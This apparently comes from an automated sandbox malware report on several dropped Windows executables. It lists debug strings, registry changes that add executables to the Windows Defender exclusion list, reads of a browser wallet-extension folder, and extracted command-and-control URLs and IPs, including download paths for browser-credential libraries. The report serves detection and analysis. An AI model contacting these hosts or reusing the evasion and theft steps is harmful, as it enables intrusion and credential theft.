Source:	Binary string: Z:\Development\Secureuser\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: zFe0EAtgy56yDxXht4nmozfb.exe, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000001.2521718747.00000000002F0000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vuhuyiwulumopo62_soba.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2132642581.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127967224.000001D7021F5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134526384.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128255759.000001D702217000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2138129759.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2136306601.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130037595.000001D702217000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D7021B0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142101955.000001D7027FE000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132761360.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Moq.pdbSHA256@ source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\sehuxi\gukulow\tulatesati\wudapul-rarupi.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2142363047.000001D702353000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2145509043.000001D703B50000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141999180.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2149442634.000001D704113000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142230053.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2143104056.000001D702988000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142675803.000001D702495000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2145072174.000001D703403000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141838147.000001D70224D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2146166478.000001D703DAA000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142453918.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\sc-client\Jenkins\workspace\WindowsBuild\SecureConnectClient\ACVC.Core\obj\WinRelease\netstandard2.0\AWSVPNClient.Core.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000003.2613298063.000001DB77B90000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2622806676.000000C0000AC000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000266000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Moq.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2471533821.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbV source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: uic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583230702.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2472974179.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DD8000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdbjz source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2448673035.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdboF source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb,ANA @A_CorExeMainmscoree.dll source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DD8000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2472336262.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2469992759.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbh source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\sc-client\Jenkins\workspace\WindowsBuild\SecureConnectClient\ACVC.Core\obj\WinRelease\netstandard2.0\AWSVPNClient.Core.pdbSHA256 source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbeIn source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.PDB source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583230702.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.PDB source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2693560746.0000000005FAA000.00000004.08000000.00040000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004B84000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.00000000049F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 453C:\laracu valo35\tag\ped\kixe\vevuyohiyiva_yicofok.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D70232C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128070226.000001D702377000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D702356000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127511693.000001D702218000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126674447.000001D7021F6000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D702377000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2448940390.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A7B1CB FindFirstFileExW,GetLastError,		7_2_00A7B1CB
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009AB300 FindFirstFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,		7_2_009AB300

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6940
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	10_2_05CD5565
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6939
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	10_2_05CDD480
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6C69
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	10_2_05CDD478
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6C70
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then jmp 05CDD06Ah	10_2_05CDCFB8
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then jmp 05CDD06Ah	10_2_05CDCFB0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6B58
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6B60
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	10_2_05CD36DC
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	10_2_05CDCED7
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6A48
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	10_2_05CD6A50

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 102.53.9.151 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.172.128.23/f993692117a3fda2.php
Source: Malware configuration extractor	URLs: http://185.172.128.23/f993692117a3fda2.php
Source: Malware configuration extractor	URLs: http://nidoe.org/tmp/index.php
Source: Malware configuration extractor	URLs: http://sodez.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://uama.com.ua/tmp/index.php
Source: Malware configuration extractor	URLs: http://talesofpirates.net/tmp/index.php
Source: Malware configuration extractor	URLs: 5.42.65.50:33080

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: dCIjUPk4HQDvWsTSBTjdtIZC.exe.0.dr
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: aniSiiwr9ACMsStraaf0y6pm.exe.0.dr

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_009BE220 recv,setsockopt,recv,WSAGetLastError,recv,recv,setsockopt,recv,recv,recv,__Xtime_get_ticks,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,Sleep,

7_2_009BE220

Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.facebook.com (Facebook)
Source: qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.twitter.com (Twitter)
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.youtube.com (Youtube)

Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://127.0.0.1:
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/dl.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/dl.phpL
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022158722.0000000001CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/freebl3.dll/Li
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/freebl3.dll3Mu
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/mozglue.dll
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/mozglue.dllOMI
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dllkM-
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/nss3.dll
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll=MG
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dllgL
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllYM
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllt
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll
